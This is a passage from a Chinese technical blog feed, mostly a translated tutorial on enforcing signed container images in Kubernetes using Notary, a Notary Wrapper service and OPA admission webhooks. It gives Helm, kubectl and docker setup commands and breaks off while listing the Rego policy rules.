&lt;p&gt;这里看到清单中包含两个主节点，&lt;code&gt;config&lt;/code&gt; 和 &lt;code&gt;layer&lt;/code&gt;，至此，一个镜像是由三种不同的层构成的：清单、Config 和 Layer。我们关注的主要是 Layer，其中的 &lt;code&gt;data&lt;/code&gt; 文件包含的就是各层的具体内容，清单和 Config 中都是文本，Layer 通常都是二进制的，也是我们要关注的主要内容。&lt;/p&gt;

&lt;p&gt;接下来的问题就顺理成章了，把 Repository、Tag、Revision 以及 Layer 的关系建立起来，随便用个 SQL 语句，就能够按照具体需求对“引用少、尺寸大”的 Layer 进行过滤了。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Docker Registry Exporter&lt;/strong&gt;：&lt;code&gt;https://github.com/sky-uk/docker-registry-exporter&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>用 Notary 和 OPA 在 Kubernetes 上使用内容签名</title>
      <link>/post/k8s-notary-and-opa/</link>
      <pubDate>Sat, 17 Oct 2020 01:18:58 +0800</pubDate>
      <guid>/post/k8s-notary-and-opa/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://medium.com/@siegert.maximilian/ensure-content-trust-on-kubernetes-using-notary-and-open-policy-agent-485ab3a9423c&#34; target=&#34;_blank&#34;&gt;Ensure Content Trust on Kubernetes using Notary and Open Policy Agent&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://medium.com/u/42543b7496a6?source=post_page-----485ab3a9423c--------------------------------&#34; target=&#34;_blank&#34;&gt;Daniel Geiger&lt;/a&gt; &lt;a href=&#34;https://medium.com/u/185afb909cc2?source=post_page-----485ab3a9423c--------------------------------&#34; target=&#34;_blank&#34;&gt;Maximilian Siegert&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;在 Kubernetes 上使用策略对部署行为进行限制，仅允许运行有签名的镜像。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我们希望借助本文，让读者了解到如何在 Kubernetes 中使用可信镜像，其中依赖两个著名的 CNCF 开源项目：Notary 和 OPA。主要思路是使用 OPA 策略来定义自己的内容限制策略。&lt;/p&gt;

&lt;p&gt;主要内容如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;完成示例的先决条件&lt;/li&gt;
&lt;li&gt;Notary 和镜像信任的基本概念&lt;/li&gt;
&lt;li&gt;在 Kubernetes 上安装 Kubernetes&lt;/li&gt;
&lt;li&gt;OPA 和 Admission Control 的基本概念&lt;/li&gt;
&lt;li&gt;在 Kubernetes 上安装 OPA&lt;/li&gt;
&lt;li&gt;定义 Validating Admission Control 控制内容信任&lt;/li&gt;
&lt;li&gt;定义 Mutating Admission Control 完成自动化&lt;/li&gt;
&lt;li&gt;总结和展望&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果读者已经熟知 Notary 或者 OPA 的相关内容，可以跳过上述的两节基本概念部分。&lt;/p&gt;

&lt;h2 id=&#34;完成示例的先决条件&#34;&gt;完成示例的先决条件&lt;/h2&gt;

&lt;p&gt;如果要遵循后续的安装步骤，需要下列准备：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;如果是 Kubernetes 集群，至少启用了 &lt;code&gt;MutatingAdmissionWebhook&lt;/code&gt; 和&lt;code&gt;ValidatingAdmissionWebhook&lt;/code&gt;；如果是 Minikube，应该使用如下启动方式：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;$ minikube start \
--extra-config=apiserver.enable-admission-plugins=MutatingAdmissionWebhook,ValidatingAdmissionWebhook
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;私有镜像库，或者一个 Docker Hub ID，用于推送签名镜像。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;从&lt;a href=&#34;https://github.com/k8s-gadgets/k8s-content-trust&#34; target=&#34;_blank&#34;&gt;我们的 Github 仓库&lt;/a&gt;获取用于安装 OPA、Notary 以及 Notary-Wrapper 的 Helm Chart。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;notary-和镜像信任的基本概念&#34;&gt;Notary 和镜像信任的基本概念&lt;/h2&gt;

&lt;p&gt;将代码、可执行文件或者脚本进行签名，保障仅有受信内容才可运行，这是一个已知的最佳实践。软件签名不是什么新概念，有很多相关的供应商和方案，每个组织都有自己的方式来处理制品的签署和信任。然而如果把目光投向容器领域，可能会发现并没有那么多选择。&lt;/p&gt;

&lt;h3 id=&#34;notary-是什么&#34;&gt;Notary 是什么&lt;/h3&gt;

&lt;p&gt;你可能已经听说过 Notary，这是一个基于 &lt;a href=&#34;https://theupdateframework.github.io/&#34; target=&#34;_blank&#34;&gt;TUF 项目&lt;/a&gt;的用于软件制品签名的开源软件。&lt;/p&gt;

&lt;h3 id=&#34;notary-如何运作&#34;&gt;Notary 如何运作&lt;/h3&gt;

&lt;p&gt;首先说说 Notary 的核心概念。Notary 使用角色和元数据文件对受信集合内容进行签署，这些内容被称为全局唯一名称（GUN——Global Unique Name）。&lt;/p&gt;

&lt;p&gt;以 Docker 镜像为例，GUN 相当于 &lt;code&gt;[registry]/[repository name]:[tag]&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;[registry]&lt;/code&gt; 是镜像的源仓库，&lt;code&gt;[repository name]&lt;/code&gt; 是镜像的名称。&lt;code&gt;[tag]&lt;/code&gt; 对镜像进行标记（通常代表版本）。&lt;/p&gt;

&lt;p&gt;Notary 借助 TUF 的角色和密钥层级关系对镜像进行签名。有五种密钥类型用于对元数据文件进行签署，并用 &lt;code&gt;.json&lt;/code&gt; 的方式保存到 &lt;a href=&#34;https://docs.docker.com/notary/service_architecture/&#34; target=&#34;_blank&#34;&gt;Notary 数据库&lt;/a&gt;。下图描述了密钥层级以及这些密钥的典型存储位置。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/key-hierarchy-in-notary.png&#34; alt=&#34;key-hierarchy-in-notary&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;根密钥：每个 GUN 都有自己的根角色和密钥。根密钥是所有信任关系的基础，用于对根级元数据文件（其中包含根 ID、目标、快照以及时间戳公钥的 ID）进行签名。通常这个密钥是由（GUN）的属主管理的，并使用离线的方式进行保存（例如在本地目录或者硬件密钥设备）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;目标密钥：目标密钥负责签署目标元数据文件，其中包含该集合中的所有文件名、尺寸以及对应的哈希值。这个元数据文件用于对该仓库中的所有实际内容进行完整性验证。这还表示目标元数据文件包含了每个镜像标签的入口。目标密钥可以使用委托角色把信任关系委托给其它的合作者。目标密钥也是属于 GUN 属主的，同样用离线方式保存。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;委托密钥：如上文所说，目标密钥能够委托给其它角色。这些角色会有自己的密钥来签署被委托的元数据文件，其中同样会包含该集合中的文件名、尺寸以及对应的哈希。委托元数据文件能用于校验仓库中部分或者全部内容的完整性。这些密钥属于这个集合的协作者。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;快照密钥：快照密钥负责签署快照元数据文件，其中遍历了每个 GUN 的根、目标和委托元数据。这个元数据文件的目标就是验证其它元数据文件的完整性。快照密钥属于协作属主（本地），或者如果 Notary 服务（通过委托角色使用多个协作者）。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;时间戳密钥：时间戳密钥用于签署时间戳元数据文件，这个密钥的存在目的是保障集合的时效性。这其中包含了元数据的最短过期时间、最近快照的文件名、尺寸以及哈希。这个元数据文件用来检验快照文件的完整性。时间戳密钥由 Notary 服务保存，这样这个密钥就能自动的根据服务器的请求自动重新生成。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;管理密钥的 Notary 服务架构包括两个组件：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Notary 服务器，用来保存和更新信任 GUN 的签署后元数据文件。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Notary Signer 保存了私钥，用于为 Notary Server 提供元数据签署能力。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Docker 文档中&lt;a href=&#34;https://docs.docker.com/notary/service_architecture/&#34; target=&#34;_blank&#34;&gt;这张 Notary 的示意图&lt;/a&gt;很好的概括了客户端与 Notary Server 以及 Signer 之间的通信。下图是一个简化版本：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/notary-server-signer-client.png&#34; alt=&#34;notary-server-signer-client.png&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Notary 服务器可以使用 JWT Token 进行认证。如果没有使用这个功能，可以简单地上传新的元数据文件。如果客户端上传了新的元数据文件，Notary Server 会对老版本进行冲突检测，并对签名、校验和以及元数据的有效性进行检测。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;上传的元数据通过验证以后，Notary 服务器会生成时间戳元数据，并将元数据发给 Signer 进行签名。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Notary Signer 从数据库中获取加密的密钥，解密后对元数据进行签署。如果签署成功，则将签名发回给 Notary 服务器。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Notary Server 是所有受信集合（GUN）真实状态的来源，TUF 数据库中存储了客户端上传和服务器生成的元数据。生成的时间戳和快照元数据证明客户端上传的元数据是该可信集合的最新数据。Notary 服务器会通知客户其上传成功。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;客户端能够从服务器下载最新的元数据。Notary 服务器从数据库中取出元数据即可。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;如果时间戳过期，Notary 服务器会重新完成流程，生成新的时间戳，申请 Signer 签名，并在数据库中保存新签署的时间戳。然后发送新的时间戳以及用户请求的其它元数据。&lt;/p&gt;

&lt;p&gt;Notary 签署过程看起来很复杂，不过一个好消息就是，Docker 客户端中集成了用 Notary 签署镜像的能力。可以轻松地使用环境变量在本地设备上启用镜像信任机制：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;DOCKER_CONTENT_TRUST=1&lt;/code&gt;：在客户端启用 Notary&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;DOCKER_CONTENT_TRUST_SERVER=”&amp;lt;url-to-your-Notary-server&amp;gt;”&lt;/code&gt;：使用自己的 Notary 服务提供信任关系&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;设置这些之后，Docker 客户端就会在拉取之前检查签名，并在推送之前请求签署凭据来对镜像进行签名。Docker HUB 还提供了自己的缺省 Notary 服务 &lt;code&gt;https://notary.docker.io&lt;/code&gt;，如果启用了内容信任，会用它对推送镜像进行签署。&lt;/p&gt;

&lt;p&gt;如果拉取镜像是有签名的，可以简单的使用 &lt;code&gt;docker trust inspect &amp;lt;GUN&amp;gt;&lt;/code&gt; 来检查签名情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ docker trust inspect nginx:latest
[
    {
        &amp;quot;Name&amp;quot;: &amp;quot;nginx:latest&amp;quot;,
        &amp;quot;SignedTags&amp;quot;: [
            {
                &amp;quot;SignedTag&amp;quot;: &amp;quot;latest&amp;quot;,
                &amp;quot;Digest&amp;quot;: &amp;quot;b2xxxxxxxxxxxxx4a0395f18b9f7999b768f2&amp;quot;,
                &amp;quot;Signers&amp;quot;: [
                    &amp;quot;Repo Admin&amp;quot;
                ]
            }
        ],
        &amp;quot;Signers&amp;quot;: [],
        &amp;quot;AdministrativeKeys&amp;quot;: [
            {
                &amp;quot;Name&amp;quot;: &amp;quot;Root&amp;quot;,
                &amp;quot;Keys&amp;quot;: [
                    {
                        &amp;quot;ID&amp;quot;: &amp;quot;d2fxxxxxxx042989d4655a176e8aad40d&amp;quot;
                    }
                ]
            },
            ...
        ]
    }
]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;除了使用 &lt;code&gt;docker trust&lt;/code&gt; 之外，也可以下载 &lt;a href=&#34;https://github.com/theupdateframework/notary/releases&#34; target=&#34;_blank&#34;&gt;Notary 客户端&lt;/a&gt;，直接和服务器进行通信。&lt;/p&gt;

&lt;h2 id=&#34;在-kubernetes-上安装-notary&#34;&gt;在 Kubernetes 上安装 Notary&lt;/h2&gt;

&lt;p&gt;到现在我们已经对 Notary 的工作机制有了个初步的认识。我们可以更进一步，在 Kubernetes 上安装自己的 Notary 服务。我们准备了两个 Shell 脚本和 Helm Chart，这样就可以很方便的进行安装了。开始之前请克隆我们的代码仓库：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ git clone https://github.com/k8s-gadgets/k8s-content-trust
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;安装&#34;&gt;安装&lt;/h3&gt;

&lt;p&gt;进入 &lt;code&gt;notary-k8s&lt;/code&gt; 目录。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;可选项目：构建 Notary 并加入自己的镜像库。
要从头构建最新的 Notary 镜像，需要从 &lt;code&gt;build&lt;/code&gt; 目录开始。如果要构建和推送 Notary 镜像到你自己的镜像仓库，可以编辑 &lt;code&gt;build.sh&lt;/code&gt; 文件，编辑 &lt;code&gt;REGISTRY&lt;/code&gt; 变量，使之匹配自己的镜像库，并执行 &lt;code&gt;build.sh&lt;/code&gt; 脚本。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ bash build.sh
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来需要进入 &lt;code&gt;helm/notary&lt;/code&gt; 目录，并生成 TLS 证书，来确保和 Notary 服务通信的安全性：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ cd helm/notary
...
$ bash generateCerts.sh
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在准备好 Docker 镜像并把 TLS 证书写入 Chart 之后，就可以使用 Helm 在 Kubernetes 上进行部署了。另外也可以看看 &lt;code&gt;values.yaml&lt;/code&gt; 文件，修改一些必要的参数，例如缺省密码（&lt;code&gt;passwordalias1Name&lt;/code&gt;、 &lt;code&gt;passwordalias1Value&lt;/code&gt;）或者私有仓库。&lt;/p&gt;

&lt;p&gt;然后就是创建命名空间并安装 Helm Chart：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create namespace notary
# 切换到 notary 命名空间
$ helm install notary notary
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查镜像是否已经启动运行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods –n notary
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果 Pod 已经运行，就表明 Notary 安装成功了。然而在我们试用 Notary 服务之前，我们应该提交最后生成的 Notary Wrapper 模板。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Notary Wrapper&lt;/code&gt; 是我们写的一个扩展，借助这个扩展，OPA 就能就能和 Notary 服务进行交互了。这是一个 CLI REST 界面，仅实现了获取已签名镜像哈希以及在服务上检查新人数据的功能。&lt;/p&gt;

&lt;p&gt;从 &lt;code&gt;notary-k8s/helm/certs&lt;/code&gt; 复制证书文件到 &lt;code&gt;helm/notary-wrapper/certs&lt;/code&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;notary-wrapper.crt&lt;/li&gt;
&lt;li&gt;notary-wrapper.key&lt;/li&gt;
&lt;li&gt;root-ca.crt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;进入源码的 &lt;code&gt;notary-wrapper&lt;/code&gt; 子目录。创建 OPA 命名空间并执行 Helm 安装过程。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create namespace opa
# switch to namespace opa
helm install notary-wrapper notary-wrapper
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;测试-notary&#34;&gt;测试 Notary&lt;/h2&gt;

&lt;p&gt;组件安装结束之后，就可以开始用我们的信任数据来测试 Notary 了，下图展示了这个过程：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/testing-notary.png&#34; alt=&#34;testing notary&#34; /&gt;&lt;/p&gt;

&lt;p&gt;我们需要签署一些本地镜像作为测试素材，所以首先从 Docker Hub 拉取一些镜像：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;如果你已经启用了 &lt;code&gt;DOCKER_CONTENT_TRUST&lt;/code&gt;，并且没有指定 &lt;code&gt;DOCKER_CONTENT_TRUST_SERVER&lt;/code&gt;，或者指定到了你的新服务器，拉取过程可能会失败。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;docker pull nginx:latest
docker pull busybox:latest
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下一步就要连接我们的 Notary 客户端和服务器了：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;把 Notary 服务器加入 &lt;code&gt;/etc/hosts&lt;/code&gt;：&lt;code&gt;127.0.0.1 notary-server-svc&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在终端中打开第二个 Tab，并为 Notary Server 的 Pod 创建一个端口转发，以便本地使用：&lt;code&gt;kubectl port-forward notary-server-&amp;lt;...&amp;gt; 4443:4443&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;第一次要签名之前，要把你的 &lt;code&gt;root-ca.crt&lt;/code&gt; 从安装目录拷贝到你的 &lt;code&gt;.docker/tls&lt;/code&gt; 目录：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;mkdir -p $HOME/.docker/tls/notary-server-svc:4443
cp &amp;lt;...&amp;gt;/helm/notary/certs/root-ca.crt $HOME/.docker/tls/notary-server-svc:4443/
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;回到第一个终端 Tab，启用内容信任机制：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;export DOCKER_CONTENT_TRUST_SERVER=https://notary-server-svc:4443
export DOCKER_CONTENT_TRUST=1
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Notary 已经启动，应该已经无法拉取任何没有被你的 Notary 服务签名的镜像了。不过可以打标签、签名和推送镜像（在我们的例子中，我们会简单的推送到我们自己的 Docker Hub 空间，使用的是我们自己的镜像签名）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;docker tag nginx:latest docker.io/&amp;lt;hub-id&amp;gt;/nginx:1 
docker push docker.io/&amp;lt;hub-id&amp;gt;/nginx:1
docker tag busybox:latest docker.io/&amp;lt;hub-id&amp;gt;busybox:1
docker push docker.io/&amp;lt;hub-id&amp;gt;/busybox:1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个推送命令会提示生成密码，用于请求签名密钥。这些步骤完成后，镜像会被推送到 Docker Hub，信任数据则会保存到 Notary Server。要进行校验，可以使用前面提到的 &lt;code&gt;docker trust inspect&lt;/code&gt; 命令，如果安装了 Notary 客户端，也可以用 &lt;code&gt;notary list&lt;/code&gt; 命令。命令执行结果类似：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ notary -s https://notary-server-svc:4443 --tlscacert $HOME/.docker/tls/notary-server-svc:4443/root-ca.crt list docker.io/&amp;lt;hub-id&amp;gt;/nginx
# output
NAME    DIGEST                                SIZE (BYTES)  ROLE
----    ------                                ------------  ----
1       cccef6d6bdea671c394954b0dxxxxxxxx     948           targets
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;如果必须重新部署 Notary，并使用新的密钥进行镜像签署，必须删除之前存储在 &lt;code&gt;.docker/tls&lt;/code&gt; 目录中保存的密钥。另外还需要删除 &lt;code&gt;.docker/trust/tuf&lt;/code&gt; 中现存的需要重新签署的镜像的信任数据。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;现在可以开始测试 Notary Wrapper。再新开一个终端 Tab，在 /etc/hosts 文件中加入该服务的地址：&lt;code&gt;127.0.0.1 notary-wrapper-svc&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;保存之后，对端口 4445 进行端口转发：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# switch to namespace opa
kubectl port-forward notary-wrapper-&amp;lt;...&amp;gt; 4445:4445
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;完成后就可以使用两个操作来检查 GUN、Tag 后者哈希的信任数据了，因为我们用的是 TLS 连接，要信任前面生成的根证书：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;把 GUN 和 Tag 数据提交给 &lt;code&gt;https://notary-wrapper-svc:4445/list&lt;/code&gt;，获取最新的镜像信任数据，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl -X POST https://notary-wrapper-svc:4445/list -H “Content-Type: application/json” -d ‘{“GUN”:”docker.io/&amp;lt;hub-id&amp;gt;/nginx”, “Tag”:”1&amp;quot;, “notaryServer”:”notary-server-svc.notary.svc:4443”}’ --cacert PATH/TO/YOUR/NOTARY/certs/root-ca.crt
# output - One item
{
    &amp;quot;Name&amp;quot;:&amp;quot;1&amp;quot;,
    &amp;quot;Digest&amp;quot;:&amp;quot;cccef6d6bdexxxxxx422&amp;quot;,
    &amp;quot;Size&amp;quot;:&amp;quot;948&amp;quot;,
    &amp;quot;Role&amp;quot;:&amp;quot;targets&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;把 GUN 和哈希码发送到 &lt;code&gt;https://notary-wrapper-svc:4445/verify&lt;/code&gt; 验证这个哈希对应的信任数据是否存在（返回码 200 或 404）。如果不知道哈希吗，可以使用 &lt;code&gt;docker inspect GUN:Tag&lt;/code&gt; 命令查看。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl -X POST https://notary-wrapper-svc:4445/verify -H “Content-Type: application/json” -d ‘{“GUN”:”docker.io/&amp;lt;hub-id&amp;gt;/nginx”, “SHA”:”&amp;lt;your-RepoDigest&amp;gt;”, “notaryServer”:”notary-server-svc.notary.svc:4443”}’ --cacert PATH/TO/YOUR/NOTARY/certs/root-ca.crt
...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;后面会使用 Notary Wrapper 来实现内容信任。完成这个测试之后，就可以关闭端口转发，继续下面的内容了。&lt;/p&gt;

&lt;h3 id=&#34;在-kubernetes-上实施内容信任&#34;&gt;在 Kubernetes 上实施内容信任&lt;/h3&gt;

&lt;p&gt;现在我们已经可以签署镜像生成信任数据了，拼图还差最后一块——在 Kubernetes 上实施内容信任策略。这临门一脚的难处在于，Kubernetes 中并没有提供什么开关可以激活内容信任。&lt;/p&gt;

&lt;p&gt;又一个可能的方案就是依赖底层的 Docker 引擎，调用镜像验证插件，启用 &lt;code&gt;DOCKER_CONTENT_TRUST&lt;/code&gt;（可以参考这个 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/issues/30603#issuecomment-430889781&#34; target=&#34;_blank&#34;&gt;Issue&lt;/a&gt;），这种方法有两个弊端：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;集群节点需要依赖 Docker 引擎完成信任工作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;DOCKER_CONTENT_TRUST&lt;/code&gt; 是个非此即彼的开关，打开之后，无法拉取没有在 Notary 上签名的镜像。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;DOCKER_CONTENT_TRUST&lt;/code&gt; 只能检查一个镜像是否存在签名元数据，但是并不负责检查该签名是否属于这个 Tag。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;为了克服几个弊端，我们把注意力放在了 Kubernetes Admission Control 上。&lt;/p&gt;

&lt;h2 id=&#34;opa-和-admission-control-的基本概念&#34;&gt;OPA 和 Admission Control 的基本概念&lt;/h2&gt;

&lt;p&gt;长话短说。Kubernetes Admission Controller 是一种插件机制，可以用来对集群上的资源进行校验和配置。它的作用包含在 Kubernetes API 请求的生命周期之中，除了内置的 30 个控制器（例如 &lt;a href=&#34;https://kubernetes.io/docs/concepts/policy/pod-security-policy/#enabling-pod-security-policies&#34; target=&#34;_blank&#34;&gt;PodSecurity Policy&lt;/a&gt;）之外，还会有使用自己的控制规则的需要。就可以创建自己的 Validating 或者 Mutating Webhook 了。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Mutating&lt;/strong&gt;：这种 Webhook 会对请求对象进行变更，来满足特定的配置需求。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;Validating&lt;/strong&gt;：它可以对请求对象进行验证，拒绝验证失败的请求。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Admission Control 触发的顺序是非常重要的知识点：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kube-api-lifecycle.png&#34; alt=&#34;Kubernetes API Lifecycle&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 会首先执行 Mutating 过程，然后才是进行验证。这样就能确保被变更过的请求对象能够正确地被校验。OPA 就是最好的实现 Mutaiting 和 Validating Webhook 的方法之一。&lt;/p&gt;

&lt;h3 id=&#34;什么是-opa&#34;&gt;什么是 OPA&lt;/h3&gt;

&lt;p&gt;OPA 是一个通用的策略引擎，它使用一种高级的声明式语言（Rego）编写策略。下图展示了 OPA 集成到 Kubernetes API 生命周期的形式：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/api-with-opa.png&#34; alt=&#34;api-with-opa&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;在-kubernetes-上安装-opa&#34;&gt;在 Kubernetes 上安装 OPA&lt;/h2&gt;

&lt;p&gt;我们希望在 Kubernetes 上借助 OPA/Rego 的弹性策略实现内容信任机制。然而在开始之前，首先要在集群上部署 OPA。&lt;/p&gt;

&lt;p&gt;假设你已经有了符合条件的集群，在完成命名空间创建和 Notary 步骤之后，就可以开始进入仓库中的 OPA 目录开始安装了。&lt;/p&gt;

&lt;p&gt;Kubernetes 和 OPA 之间的通信必须是 TLS 加密的，因此需要给 OPA 创建额外的证书和密钥。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# copy the root-ca
cp ~/PATH/TO/k8-content-trust/notary-k8s/helm/notary/certs/root-ca.crt ~/PATH/TO/k8-content-trust/open-policy-agent/helm/opa/certs
# generate the additional OPA certs 
cd helm/opa
bash generateCerts.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;OPA 在安装后是自动生效的，因此应该排除一些命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl label ns kube-system openpolicyagent.org/webhook=ignore
kubectl label ns opa openpolicyagent.org/webhook=ignore
kubectl label ns notary openpolicyagent.org/webhook=ignore
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来我们要确认一下 &lt;code&gt;values.yaml&lt;/code&gt; 中的 &lt;code&gt;validating&lt;/code&gt; 和 &lt;code&gt;mutating&lt;/code&gt; 是否已经配置（晚些时候我们会设置 &lt;code&gt;mutating: true&lt;/code&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# open-policy-agent/helm/opa/values.yml
...
validating: true
mutating: false
...
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# switch to namespace opa
helm upgrade --install opa opa
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在安装结束之后，可以在终端打开一个新 Tab，会看到 OPA 日志中 API Server 的进入请求。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# ctrl-c to exit
kubectl logs -n opa -f opa-deploy-&amp;lt;...&amp;gt; opa
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;定义-validating-admission-control-控制内容信任&#34;&gt;定义 Validating Admission Control 控制内容信任&lt;/h2&gt;

&lt;p&gt;总算到了有意思的部分了，开始实现内容信任机制。Notary 和 OPA 都已整装待发，首先我们想拒绝一切不受信任的镜像。要完成这个任务，要先搞清楚 Docker Tag 和哈希之间的关系。&lt;/p&gt;

&lt;p&gt;一般来说，我们会使用 GUN 以及标签来部署镜像。然而多数人会忽略一个事实，镜像标签是可以覆盖的，因此它的唯一性是靠不住的。一个集合的所有者能够用同样的 Tag 多次推送变更了的已签署镜像。为了避免这种情况，应该使用唯一摘要进行镜像拉取。&lt;/p&gt;

&lt;p&gt;我们定义两条 Rego 规则来完成这个 Webhook：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;拒绝只使用普通 Tag (包括 &lt;code&gt;latest&lt;/code&gt;)的部署。&lt;/li&gt;
